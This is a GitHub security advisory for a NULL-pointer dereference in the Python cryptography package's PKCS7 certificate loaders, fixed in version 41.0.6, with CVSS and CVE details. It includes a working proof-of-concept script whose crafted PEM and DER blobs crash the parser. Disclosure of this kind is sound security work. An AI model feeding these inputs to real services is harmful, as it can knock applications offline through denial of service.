Skip to content

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

Moderate severity GitHub Reviewed Published Nov 27, 2023 in pyca/cryptography • Updated Feb 20, 2024

Package

pip cryptography (pip)

Affected versions

>= 3.1, < 41.0.6

Patched versions

41.0.6

Description

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

References

@alex alex published to pyca/cryptography Nov 27, 2023
Published to the GitHub Advisory Database Nov 28, 2023
Reviewed Nov 28, 2023
Published by the National Vulnerability Database Nov 29, 2023
Last updated Feb 20, 2024

Severity

Moderate
5.9
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.059%
(26th percentile)

Weaknesses

CVE ID

CVE-2023-49083

GHSA ID

GHSA-jfhm-5ghh-2f97

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.